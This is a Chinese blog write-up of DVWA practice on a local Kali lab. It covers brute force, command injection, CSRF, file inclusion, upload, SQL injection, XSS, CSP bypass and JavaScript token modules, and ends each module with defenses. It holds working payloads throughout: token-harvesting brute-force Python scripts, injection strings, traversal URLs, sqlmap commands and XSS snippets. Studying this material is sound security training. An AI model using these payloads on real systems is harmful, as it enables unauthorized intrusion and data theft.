初識Web安全(二)Kali Linux 的DVWA記錄

1. 網絡不是法外之地,學習網絡安全只是爲了更好地保護網絡安全

2. 文中內容僅爲學習交流,涉及到的工具和方法均不能用於破壞網絡安全

該筆記僅在CSDN中發表,如轉載請大家註明出處。

CSDN:http://blog.csdn.net/elang6962?viewmode=contents

  • PhpStudy=0.4公測版

  • OS:Kali Linux 2019.4

  • DVWA:1.9


上一篇中記錄了在Kali 2019.4中利用phpstudy搭建dvwa的過程,這一篇是完整的DVWA練習記錄,內容長,很肝!

1 Brute Force 暴力破解

1.1 使用工具

  • 抓包/破解:OWASP ZAP
  • 代理插件:火狐FoxyProxy

1.2 Low

思路:

  1. 輸入正確的用戶名和密碼,提交觀察。這裏自動填寫了用戶名和密碼,點提交就行。看到出現一句歡迎語和一張圖片,同時F12看到請求方法是GET,當然看URL裏帶了用戶名和密碼也就知道了。

image

  1. 輸入錯誤的用戶名和密碼,提交觀察。直接刪除密碼點提交,提示“用戶名或密碼錯誤”。

image

  1. 準備抓包破解。FoxyProxy添加一個8081端口的本地代理,ZAP在選項-local proxies裏設置了8081端口,因爲有時會把ZAP和Burp同時開,避免端口衝突。

image

image

  1. 抓包。Foxy開啓代理,爲了做戲,密碼處填個錯的,點擊提交。這裏我出現了瀏覽器不信任127.0.0.1,看了下URL變成了https,點高級-繼續訪問。然後ZAP就抓到了包。

image

  1. 暴力破解。點擊抓到的包,上圖右上角請求處查看URL,找到那個URL有用戶名和密碼的包,點右鍵-選擇FUZZ。這裏FUZZ可能會帶有一個Fuzz Locations,一般都是錯的,刪掉後選擇用戶名的payloads也就是admin,點擊右邊的Add按鍵,在彈出的對話框隨便輸入幾個用戶名,有admin就行;密碼同理,有password就行,點擊Start Fuzzer

image

  1. 觀察結果。ZAP做不到成功後自動停止,只能從響應中觀察哪個是成功的。這裏因爲自己玩,總共沒幾個組合,直接從結果裏看了。響應中有一個4424字節,其他都是4381,這就可以猜測4424就是成功了,點擊在ZAP中查看果然能看到那句歡迎語。

image

結束後分析DVWA的PHP源代碼,Low等級拿到用戶輸入的用戶名和密碼後,對密碼進行了md5,然後就直接到數據庫裏查詢,沒有任何保護。

1.3 Medium

依據Low的思路,依舊使用ZAP執行暴力破解,還是可以成功,但明顯FUZZ的時間變久了。從截圖看,每個請求的RTT時間是秒級的,看了源代碼,在請求失敗時會sleep2秒,這裏不懂爲什麼RTT中記錄的時間會比2秒多那麼多。

image

1.4 High

思路:

  1. 先從最簡單的ZAP暴力開始,非常快的結束了。仔細看ZAP可以發現,所有包的響應都是0字節,且狀態碼是302。這時候想到看看請求包和響應包有什麼特殊的地方,很明顯的看到請求包的url中多了個user_token,先瞧瞧是不是它的原因。

image

  1. 這時候繼續用zap抓包,回到頁面分別測試2次正確輸入和2次錯誤輸入,再來看包的內容。點開1號正確包,可以看到url和referer處都有user_token,但二者不同;再點第二個包,2個位置依舊不同,且url中的user_token與第一個包不同,到這裏就可以判斷這個user_token是每次請求都會改變的,不論輸入的用戶名密碼組合是否正確。錯誤的2個包已經沒必要看了。這裏第一個包的referer就有token是因爲直接在第一次抓包後的頁面中進行這一步。

image

  1. 已經確定是user_token的問題就好辦了,先從響應中找到它。查看頁面源代碼,可以直接搜索user_token

image

  1. 現在可以大致知道規則,即每次點擊提交,響應中會返回一個user_token,在下一次提交時帶上。
請求響應用戶名、密碼、user_token[0]user_token[1]用戶名、密碼、user_token[1]user_token[2]用戶名、密碼、user_token[2]user_token[3]請求響應
  1. 那麼第0個user_token是怎麼來的?是第一次點擊進入Brute Force模塊時的響應中返回的。很明顯,ZAP這類工具沒法用了,必須手動從響應中拿出user_token並放入下一個請求中,也就是要自己動手。這裏有兩個思路:
    • 一是按照上面那個圖一直進行下去,從第一次進入模塊之後就不斷重複“提交-獲取token-提交”,直到發現成功flag或者payloads消耗光。
request Brute Force
get response
while 1:
    user_token = user_token in response
    send request(username,password,user_token)
    get response
# 思路一的代碼
import urllib.request as urllib2
import re
from urllib import request

IP = '127.0.0.1'
USERFILE = ''  # username的字典
PASSFILE = ''  # password的字典
COOKIE = ''  # 手動查看後加入

# 由字典生成列表
usernames = [x[:-1] for x in open(USERFILE,'r')]
passwords = [x[:-1] for x in open(PASSFILE,'r')]

# 訪問首頁
response = request.urlopen(request.Request('http://' + IP + '/dvwa/vulnerabilities/brute/',headers={'Cookie':COOKIE}))
content = response.read().decode('utf-8')

for username in usernames:
    for password in passwords:
        # 獲取user_token
        user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
        # 發送request
        url = 'http://' + IP + '/dvwa/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
        response = request.urlopen(request.Request(url,headers={'Cookie':COOKIE}))
        content = response.read().decode('utf-8')
        # 確認結果
        print('用戶名:'+username)
        print('密碼:'+password)
        if 'Username and/or password incorrect.' in content:
            print('結果:失敗')
        else:
            print('結果:成功')
            break
    else:
        continue
    break

    • 二是將“進入Brute Force-提交”這個過程不斷循環,成功後自動退出。從代碼看和思路一區別不大,反而看起來對服務器的負擔更大些,因爲每次循環都會多請求一次首頁。
while 1:
    request Brute Force
    get response
    user_token = user_token in response
    send request(username,password,user_token)
# 思路二代碼
# 和思路一的區別是把訪問首頁挪到循環裏

for username in usernames:
    for password in passwords:
        # 訪問首頁
        response = request.urlopen(request.Request('http://' + IP + '/dvwa/vulnerabilities/brute/',headers={'Cookie':COOKIE}))
        content = response.read().decode('utf-8')
        # 獲取user_token
        user_token = re.findall("(?<=<input type='hidden' name='user_token' value=').+?(?=' />)",content)[0]
        # 發送request
        url = 'http://' + IP + '/dvwa/vulnerabilities/brute/?username='+username+'&password='+password+'&Login=Login&user_token='+user_token
        response = request.urlopen(request.Request(url,headers={'Cookie':COOKIE}))
        content = response.read().decode('utf-8')
        # 確認結果
        print('用戶名:'+username)
        print('密碼:'+password)
        if 'Username and/or password incorrect.' in content:
            print('結果:失敗')
        else:
            print('結果:成功')
            break
    else:
        continue
    break

1.5 防禦

  1. 驗證token還是要有的,反正還得防CSRF
  2. 設置一個失敗閾值,達到上限禁止嘗試
  3. 驗證碼,也可以設置一個失敗閾值,達到後開始使用驗證碼
  4. 參數化SQL語句,使用PDO技術

2 命令注入

2.1 使用工具

命令注入的底層是執行系統命令,如windows的ping、ipconfig等,漏洞產生的原因主要是系統沒有處理或過濾用戶輸入,將輸入作爲系統命令的參數直接與命令進行拼接

工具上強行安排hackbar插件,其實啥也不需要

2.2 Low

  1. 很明顯這裏執行的是ping,用戶的輸入作爲參數傳入。正常輸入127.0.0.1,可以看到會輸出常見的ping響應。
  2. 可以直接輸入payload測試是否存在漏洞。這裏使用字母少且輸出快的dir命令,payload127.0.0.1|dir

image

  1. 這裏可以把常見的命令連接符都測試一遍。
    • |命令1|命令2,將命令1的輸出作爲命令2的輸入,payload127.0.0.1|dir可輸出dir
    • ||命令1||命令2,只有命令1執行失敗時纔會執行命令2,payload127.0.0||dir可輸出dir
    • &命令1;命令2,同時執行命令1和命令2,payload127.0.0.1&dir可輸出dir,此時dir先執行完,所以輸出在ping的上面
    • &&命令1&&命令2,只有命令1執行成功時纔會執行命令2,payload127.0.0.1&&dir可輸出dir
    • ;命令1;命令2,按順序執行命令1和命令2,2個命令間不存在任何邏輯關係,payload127.0.0.1;dir

基本可以判斷,這裏沒有對輸入做任何安全處理。

2.3 Medium

直接測試:

  • 可行:|&||

  • 不可行:&&;

看一下php源碼,果然只過濾了不可行的2個符號,沒有對輸入做其他處理

2.4 High

直接測試:

  • 可行:|
  • 不可行:||&&&;

看看代碼,一開始就給ip用了個trim函數,默認去除輸入參數兩側的空白字符。且符號過濾的更多了,裏面是包含|的,仔細看可以發現,代碼裏過濾的|後面有個空格,簡直就是特地給我這樣的萌新留個窗戶。

    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    ); 

trim()函數移除字符串兩側的空白字符或預定義字符。空白字符如回車、製表符、換行符、NULL、空格等

2.5 防禦

白名單模式,DVWA這裏impossible模式中檢測輸入是否是合法的ipv4地址;同時檢測token防止CSRF

3 CSRF

3.1 使用工具

ZAP和Burpsuite

上一篇博客安裝phpstudy時設置了只允許127.0.0.1訪問,爲了實現測試中的2個IP,將此設置暫時去掉了。方法是在網頁面板-網站-配置中,按照提示點擊恢復,然後重啓服務。

image

3.2 Low

  1. 在正常輸入的測試中就打開zap和本地代理,查看請求和響應。注意到URL中帶有剛纔填的參數。

image

  1. 似乎沒什麼特別的,按照URL中對應參數的名稱直接構造測試頁面。這裏把正常頁面的html代碼直接複製後修改,改動了填寫密碼的部分。構造完成拷貝到網站根目錄下,這個頁面的路徑爲127.0.0.1/test.html,這裏最後使用按鈕是爲了多次測試,實際中應該是自動執行的。
<form action="http://192.168.1.2/dvwa/vulnerabilities/csrf/" method="GET">
	<input type="hidden" name="password_new" value="123456"><br />
	<input type="hidden" name="password_conf" value="123456"><br />
	<input type="hidden" value="Change" name="Change">
	<input type="submit" value="Click Me">
</form>
  1. 在同一個瀏覽器中輸入127.0.0.1/test.html,進入後效果如下圖,沒有css效果是因爲網頁代碼中引用的樣式都是一些相對目錄,如<link rel="stylesheet" type="text/css" href="../../dvwa/css/main.css" />

image

  1. 點擊圖裏的Click Me按鈕,密碼成功修改。

3.2 Medium

  1. 這裏爲了更像真的,我改了hosts,所以測試時的url都不再是ip了。另外ZAP在抓包上真的不如Burp用着舒服,這把用Burp了。
  2. 按照low的思路進行,在瀏覽輸入127.0.0.1/test.html,雖然還是到了CSRF的頁面,但是提示由修改成功變爲了That request didn't look correct.

image

  1. 開Burpsuite,找找看原因。首先在low和medium下,正常輸入,點擊提交,請求包的內容是一樣的;然後在medium下正常輸入一次,嘗試CSRF一次,通過對比請求包,發現CSRF請求包只有referer一項和正常包是有區別的。那麼就試着改改,先進入test.html,打開抓包,點擊Click Me,Burp裏抓到的包右鍵發送到Repeater模塊,先把referer修改爲和正常包一樣,果然成功了。

image

  1. 確定問題所在,思考如何繞過。注意到請求包host和referer有同樣的域名(用Burp抓到的包GET請求網址是不包含域名的,用F12看到的纔有),猜測防護規則來自host,所以回到第二步,把host的域名加到referer的各個位置,包括:只有域名;域名在127.0.0.1/test.html前面;在後面;在中間。測試結果是隻要referer裏有那個域名,就可以修改成功。如圖,甚至放在數字中間都可以。

image

  1. 由此,Medium級別的防護可以肯定爲,識別referer中是否包含host的域名。繞過方法就簡單了,一種是把test.html改成exercise.hun.html,另一種是新建一個和域名同名的文件夾,把test.html丟進去。

3.4 防禦

High等級正常輸入,可以看到URL中多了user_token,而且每次響應都會改變。

而CSRF只不過讓用戶進入了我這邊的一個html,不管是點擊Click Me還是進入html就自動提交,都沒辦法在Form中添加上正確的user_token.

要繞過的話,這裏的邏輯似乎是:

用戶test.html服務器點擊進入請求High等級頁面返回user_token拿到user_token添加到表單提交表單修改成功用戶test.html服務器

換句話說,用戶只訪問一次test.html,而該頁面要自己完成後面所有的步驟。

impossible中,更需要輸入用戶的原密碼纔可以修改,這就更不可能繞過了。

4 文件包含

4.1 前置

設置php爲允許包含和打開文件

image

4.2 Low

  1. 點擊幾個文件,觀察url,page=後面就是參數
  2. 修改參數爲一個不存在的文件,先按順序嘗試file4.php,忘記它是存在了,如圖,正好說明漏洞是存在的,這裏可以證明漏洞起碼是可以讀取服務器本地文件的

圖

  1. 嘗試不存在的文件名,報錯且信息中包含本地文件的目錄

圖

  1. 當前目錄確定可以利用漏洞,嘗試服務器的其他目錄。在文件上傳漏洞中上傳phpinfo.php,完整的url改爲http://exercise.hun/dvwa/vulnerabilities/fi/?page=../upload/phpinfo.php,可以成功輸出php信息
  2. 嘗試包含遠程文件,這裏測試本機中DVWA服務器之外的目錄,在DVWA同級目錄拷貝phpinfo.php。完整url爲http://exercise.hun/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php,可顯示php信息

核心:文件包含漏洞的本質就是通過漏洞執行攻擊者本地的腳本。否則,需要利用文件上傳或是通過信息收集找到其服務器上已有的腳本

4.3 Medium

  1. file4.php還是可以執行,也就是至少服務器上該目錄是可以利用的
  2. 嘗試不存在的文件依舊會報出文件目錄
  3. http://exercise.hun/dvwa/vulnerabilities/fi/?page=../upload/phpinfo.php失敗,從報錯信息看Warning: include(upload/phpinfo.php): failed to open stream: No such file or directory in /www/admin/localhost_80/wwwroot/dvwa/vulnerabilities/fi/index.php on line 36服務器只解析了upload/phpinfo.php而不是../upload/phpinfo.php,應該是../被過濾了,那麼就可以用....//嘗試繞過,果然成功。所以這裏是把../作爲一個整體過濾了
  4. http://exercise.hun/dvwa/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php失敗,同理也是過濾,嘗試httphttp://://,這麼寫如果成功就可以肯定是把http://作爲整體過濾

4.4 High

  1. file4.php依舊可行
  2. 嘗試服務器其他目錄和遠程文件均失敗,提示如圖,錯誤信息太少

image

  1. 繼續嘗試,把phpinfo.php拷貝到file4.php同目錄中,失敗,提示相同。
  2. 考慮文件名,將phpinfo不斷修改,直至修改爲filephpinfo後可執行,也就是page=的參數必須以file開頭,那麼首先遠程文件不可能執行了
  3. 能執行本地文件也是好滴,使用file://加上完整路徑就成。exercise.hun/dvwa/vulnerabilities/fi/?page=file:///www/admin/localhost_80/wwwroot/dvwa/vulnerabilities/upload/phpinfo.php成功,www前面的第三個/是根目錄/,使用file://需要使用文件的本地完整路徑
  4. 想要執行自己的腳本就得把它上傳到目標服務器

4.5 防禦

黑名單:Medium級別就是,太容易有遺漏

白名單:High就是

通過代碼,High級別只需要file*include.php,impossible級別最絕,只允許file1、file2、file3

5 文件上傳

5.1 工具

burpsuite

5.2 Low

看到是個上傳文件的模塊,直接嘗試上傳一個php文件,提示成功,並且會報出文件所在路徑。

image

5.3 Medium

  1. 直接上傳php文件是失敗的,提示“只接受jpeg或png文件”

image

  1. 現在用Burpsuite抓包,上傳正常圖片和php文件各抓一個包,對比他們的不同。

image

image

  1. 分析上面2個圖,二者的不同有三處:文件名、content-type、文件內容
  2. 嘗試找到漏洞。文件內容肯定是放在最後考慮的,那麼可以測試把文件名或content-type修改後重發

image

  1. 經過測試,修改2處、修改content-type都可以上傳,只修改文件名依舊上傳失敗,可以確定只要修改掉content-type即可

5.4 High

  1. 來到高級,用前面的方法都會失敗。而我們能修改的只剩下文件內容,也就是讓php文件的內容變成圖片內容。
  2. 新建一個1.php,Kali終端使用cat 1.jpeg 1.php > hello.jpeg將兩個文件合併成新的圖片,新文件的大小等於兩個文件之和。
  3. 現在直接上傳就好了。爲了驗證,可以切回Low等級到文件包含下,隨便點一個正確的文件,然後地址欄改爲http://exercise.hun/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/hello.jpeg,回車後可以看到上面是圖片內容的亂碼,下面是php信息。

image

5.5 防禦

修復方法有兩個方向:

  • 阻止非法文件上傳,文件後綴、類型、內容必須控制,等於high等級,但不能有文件包含漏洞、服務器使用apache(因爲nginx有一個畸形解析漏洞,可以用在文件包含)
  • 阻止非法文件執行,存儲目錄執行權限關閉、存儲文件和服務器分離、文件重壓縮生成、文件重命名

6 SQL

6.1 思路和工具

對於固定目標的SQL注入,其實就是個找注入點,剩下的就是sqlmap

尋找注入點就是判斷後臺是否將用戶輸入直接進行SQL語句拼接,導致用戶的輸入被執行:

  • 1 and 1=2
  • 1’ and ‘1’='2
  • 1" and “1”="2
    上面都是真 and 假 = 假,如果被執行則存在SQL注入點;同時可以確定是字符型還是數字型

工具:

  • hackbar插件,sqlmap

6.2 Low

輸入1提交,hackbar讀取url後把payload改爲4' and '1'='2提交,輸出是空的,說明系統執行了注入的語句,注入點確定。

sqlmap:sqlmap -u "<url>" --cookie="<cookie>"

6.3 Medium

提交頁變成序號選擇,且通過F12網絡查看是post方法,url中沒有修改payload的地方。

用hackbar讀取url,勾選post data,修改payload即可

sqlmap:sqlmap -u "<url>" --data="<post data>" --cookie="<cookie>" -level 2level2可檢測data中的注入點

6.4 High

有個鏈接,點擊後彈出新的頁面,然而這個新的頁面直接按照Low的方法就可以注入

1'錯誤返回不包含有價值信息,用1"會過濾掉

sqlmap:sqlmap -u "exercise.hun/dvwa/vulnerabilities/sqli/session-input.php#" --cookie="security=high; PHPSESSID=6qo1h0q2k95bit6j6ki1u5e8o5" --second-url="http://exercise.hun/dvwa/vulnerabilities/sqli/" --data="id=1&Submit=Submit"id=1&Submit=Submit

6.5 防禦

  • 參數化SQL語句,預編譯
  • 白名單

7 SQL盲注

7.1 目標和工具

目標與回顯注入是一樣的,只要找到注入點就行

工具:hackbar、sqlmap

7.2 Low

  1. 輸入1,只顯示exist
  2. 1' and '1'='1存在,1' and '1'='2不存在,說明輸入全部被執行,注入點存在

手工:

  1. 手工的話,首先得試出來SQL語句有幾列內容。1' order by 1,二分法依次改爲10,5,3,2,最終1' order by 2存在,3則不存在,確定select後面要跟2個參數
  2. 可以驗證一下,' union select sleep(3)#是馬上刷新頁面,而' union select 1,sleep(3)--基本是等待3秒後刷新
  3. 先猜數據庫長度,1' union select 1,if(length(database())>100,sleep(3),False)--
  4. 然後就是體力活猜字母了1' union select 1,if(ascii(substr(database(),1,1))>100,sleep(3),False)--

7.3 Meidum和High

其實和回顯注入都一樣的,只不過換成了盲注,手工注入的方法完全改變,用sqlmap的話沒差別了

8 XSS-DOM

8.1 原理

目前理解的是,通過url傳入payload,從而觸發漏洞。和反射性、存儲型對比,也可以理解成CS交互,不同是的把JS當成是client,html是server,html解析url時頁面JS執行了藏在url中的JS代碼

本節基本都是看了代碼和help的

8.2 Low

<script>alert(1)</script>確定注入點存在

8.3 Medium

不能使用包含<script的任何payload,即要在不使用script的前提下找到執行JS語句的方法

/option></select><img src='x' onerror='alert(1)'>

option可以沒有,看html代碼可知需要先閉合<select>,然後正常添加一個<img>

8.4 High

搞不定,看了php代碼,只有4個白名單是合法的。

加個#號就可以,#/option></select><img src='x' onerror='alert(1)'>

在url中#後面的內容不會發送到server,因而無法阻止運行

8.5 防禦

客戶端保護,JS使用decodeURI(),payload直接被解碼,和正常輸入拼接後輸出,無法運行

9 XSS-Reflected

9.1 思路和工具

反射型是輸入傳輸到服務器,由服務器進行解析後再返回

9.2 Low

看到輸入框,直接試<script>alert(1)</script>

抓包可以看到響應的html代碼中直接輸出了用戶的輸入

圖

9.3 Medium

  1. 直接輸入<script>alert(1)</script>不成功,抓包看到<script>標籤被過濾了

圖

  1. 嘗試修改標籤大小寫,成功,抓包看到輸入被完全輸出

圖

9.4 High

  1. 這次<script>alert(1)</script>不管怎麼變,輸出的只有一個>。說明script標籤被徹底過濾了,也就是不能直接執行腳本
  2. 繞過使用script,嘗試另一種較常見的<img>標籤,<img src='x' onerror="alert(1)">,成功
  3. 閱讀php源碼,過濾所有<script的變形

9.5 防禦

使用htmlspecialchars函數將<>轉換爲實體字符,而不是html元素

10 XSS-Stored

10.1

存儲型是利用漏洞將惡意代碼保存在服務器端,每次客戶端請求包含而已代碼的頁面時就執行該代碼

10.2 Low

評論區輸入<script>alert(1)</script>成功

10.3 Medium

  1. 照樣輸入,發現<script>被完整過濾掉了
  2. 嘗試大小寫script,依舊過濾
  3. 嘗試<img src="x" onerror="alert(1)">,整個標籤都過濾掉了,懷疑是會過濾<>的所有內容
  4. 前面都只看到了message,現在注意到name也是個文本輸入框,嘗試輸入發現是有長度限制的
  5. 開Burp,抓包發送到repeater,在txtName後輸入<sCRIPt>alert(1)</ScriPt>,發送後查看respond裏對應位置代碼是完整的,在瀏覽器裏刷新頁面成功彈窗。

圖

10.4 High

  1. 前面的方法都試過,script被過濾乾淨了
  2. 在name中使用<img>標籤成功

圖

10.5 防禦

  1. 過濾<>等腳本常用符號,使用php的htmlspecialchars()函數可過濾<>&"'z轉換爲實體,而不是符號。同時'也可以用mysql_real_escape_string()轉義
  2. 用戶輸入:在服務端設置白名單過濾
  3. 服務端輸出:輸出至html中就進行編碼,輸出至JS中就進行轉義

htmlspecialchars()中過濾引號時要設置flag參數

  • ENT_COMPAT - 默認。僅編碼雙引號。
  • ENT_QUOTES - 編碼雙引號和單引號。
  • ENT_NOQUOTES - 不編碼任何引號

11 Insecure CAPTCHA

不安全的驗證

要求註冊獲取key,該模塊沒辦法學習

12 CSP Bypass

12.1 思路

內容安全策略,支持CSP的瀏覽器會根據用戶設置的內容來源、格式甚至值進行過濾。因爲需要用戶自行設置,存在被繞過的風險。

12.2 Low

提示檢查CSP的設置,然後輸入帶有script的外部資源。F12到網絡選項卡,然後刷新頁面。

圖1

可以看到CSP允許同源腳本以及幾個URL:script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;

這裏我已經知道https://pastebin.com是個剪貼板網站,可以爲輸入的內容生成鏈接,這裏可以直接在網站輸入alert(1),生成鏈接粘貼到dvwa中就可以看到效果

12.3 Medium

題目變成了"不管輸入什麼都會直接顯示在頁面中",輸入TEST效果如下:

圖1

照例先檢查下CSP設置

圖2

允許同源腳本,同時允許unsafe-inline,但要求有個隨機數屬性。script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';

這裏我是不懂的,但看了提示。可以多試幾次,瞧瞧這個隨機數是個什麼情況,結果當然它是一個固定值。

Payload:<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('1')</script>輸入後點include就OK了

圖3

也可以hackbar修改post

圖4

12.4 High

這裏題目變了,只要點一個鍵就會顯示加法的計算結果,但是它提示了可以去讀../..//vulnerabilities/csp/source/jsonp.php的代碼。目前代碼閱讀不知道對不對。

  1. 先看看CSP配置,只剩下script-src 'self';也就是說只能執行同源腳本
  2. 反正提示了路徑,直接去文件夾打開代碼了。第一次學習的時候記得應該可以利用文件包含的,但是第二次發現不行了,不知是不是我打開的方式不對。總的來講,jsonp.php的邏輯就是獲得callback傳來的東西再輸出到頁面。outp是answer對應15,最後一句的結果的是solveSum(json_encode(“answer”:“15”)),也就是說在此處纔是調用了solveSum函數
  3. High.js:這個可以直接看,右鍵網頁源代碼,漏洞代碼區就能看到high.js點擊即可。一旦監聽到點擊按鍵,就生成一個script,把solveSum函數傳給callback。solveSum函數的邏輯就是檢查answer在不在傳來的參數裏,如果在,就把answer對應的東西賦值給網頁中id是answer的元素,也就是<span>

圖1

OK,閱讀完畢,現在看來能讓我下手的地方就是傳給callback的參數,只要修改它就成。在這裏我又一次打開Burpsuite,爲了看到效果,直接在proxy模塊操作,簡單修改callback參數後點intercept is on關掉代理就可以看到效果了。

圖2

另外一種方法,在中級時通過hackbar其實是看到post data裏有個include,這裏如果忘記了嘗試也沒關係,因爲我們會讀php源代碼,可以看到這一題還是接受include參數的,只不過直接從hackbar裏看不到。題目只能執行同源腳本,因此直接上<script>alert(1)</script>是不行的,需要在script中執行src

最終payload:include=<script src="source/jsonp.php?callback=alert(1);"></script>

圖3

12. 5 防禦

別給用戶修改參數的機會!callback不需要傳參,直接寫死成solveSum

13 JavaScript

13.1 思路和工具

該模塊的本意是熟悉JS常見的位置、形式、保護機制以及在瀏覽器中使用和操作JS,以繞過保護。

較繁瑣的辦法:看到JS代碼後,可通過另存修改後執行,獲取到正確的token,然後Burp抓包修改token。

可選的:Burpsuite

最佳實踐:F12即可,在控制檯執行JS函數;在線反混淆

13.2 Low

  1. 打開JS模塊,看到只要提交success就可以win,這太簡單了。輸入success,點擊提交,成功獲得返回消息Invalid token.,那麼第一條tip就是找到這個token
  2. 右鍵查看網頁html源代碼,找到token和phrase位置
	<form name="low_js" method="post">
		<input type="hidden" name="token" value="" id="token" />
		<label for="phrase">Phrase</label> <input type="text" name="phrase" value="ChangeMe" id="phrase" />
		<input type="submit" id="send" name="send" value="Submit" />
	</form>

  1. 右鍵查看元素,找到token和phrase位置。可以看到token有值,爲了驗證我重載入了dvwa,這裏依舊是有值的,可以確定這是ChangMe的對應token

圖,第一次查看

  1. 尋找計算token的方法,繼續右鍵查看源代碼。看到在html代碼中包含了完整的JS腳本,先獲取phrase處的字符,計算其md5賦給token
  2. 利用。保持查看元素,先在phrase輸入success,然後到控制檯下直接執行generate_token(),再回到查看器,可以看到token的值變了,此時點提交就成功了。

圖,第二次查看

13.3 Medium

  1. 查看元素找到token位置爲空。
  2. 查看源代碼,看到JS代碼只有一行鏈接<script src="/vulnerabilities/javascript/source/medium.js"></script>,且直接點擊會返回404
  3. 使用完整路徑查看http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js
function do_something(e)
{
    for(var t="",n=e.length-1;n>=0;n--)
        t+=e[n];
        return t
}
setTimeout(function(){do_elsesomething("XX")},300);
function do_elsesomething(e)
{
    document.getElementById("token").value=do_something(e+document.getElementById("phrase").value+"XX")
}
  1. setTimeout在300毫秒後執行do_elsesomething(“XX”),token等於do_something(XXsuccessXX),結果是其倒序排列。算到這裏抓包修改似乎很簡單了,但實際中這麼簡單的結果應該很少見。
  2. 老樣子移步控制檯,執行do_elsesomething("XX")提示未定義,仔細檢查發現medium.js的路徑是http://exercise.hun/vulnerabilities/javascript/source/medium.js,實際應該是http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js,少個dvwa。這是自己的鍋,因爲在phpstudy中網站的默認路徑就沒有dvwa。
  3. 手動在控制檯加載medium.js
var script = document.createElement('script');
script.src = "http://exercise.hun/dvwa/vulnerabilities/javascript/source/medium.js";
document.getElementsByTagName('head')[0].appendChild(script);

image

  1. 先輸入success,執行do_elsesomething("XX")後回到查看器,看到token已經修改了,提交就好了。

圖

當然一些複雜情況,在弄清邏輯後也可以直接用控制檯執行代碼,算出token,然後抓包修改。

function do_something(e){
    for(var t="",n=e.length-1;n>=0;n--)t+=e[n];
    return t
}
alert(do_something("XX"+'success'+"XX"));

13.4 High

  1. 什麼都不做了,直接查看html源代碼,找到JS位置訪問。看到亂糟糟的一團,百度後得知需要反混淆,並找到JS腳本反混淆網站:http://deobfuscatejavascript.com/#。完整代碼實在太長,前面部分都是HASH,直接看後面就好了。核心代碼如下:
function do_something(e) {
    for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
    return t
}
function token_part_3(t, y = "ZZ") {
    document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
    document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
    document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
    token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);
  1. 代碼邏輯:300毫秒後執行token_part_2,點擊後執行token_part_3,執行token_part_1,其中do_something()反轉phrase。也就是說在正常時會先默認phrase爲空,然後執行token_part_1token_part_2,最後提交執行token_part_3
  2. 老辦法先載入high.js,然後輸入success,依次執行token_part_1("ABCD", 44)token_part_2("XX"),提交成功。

13.5 防禦

據impossible等級介紹,根本無需擔心

你根本不能信任用戶,必須假設任何發送給用戶的代碼都可以被修改或繞過。根本不存在絕對安全的級別。


DVWA暫時就是這樣了,剩下的時間裏會針對練習中很多一知半解的知識進行深入,目標是搞透原理和本質。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章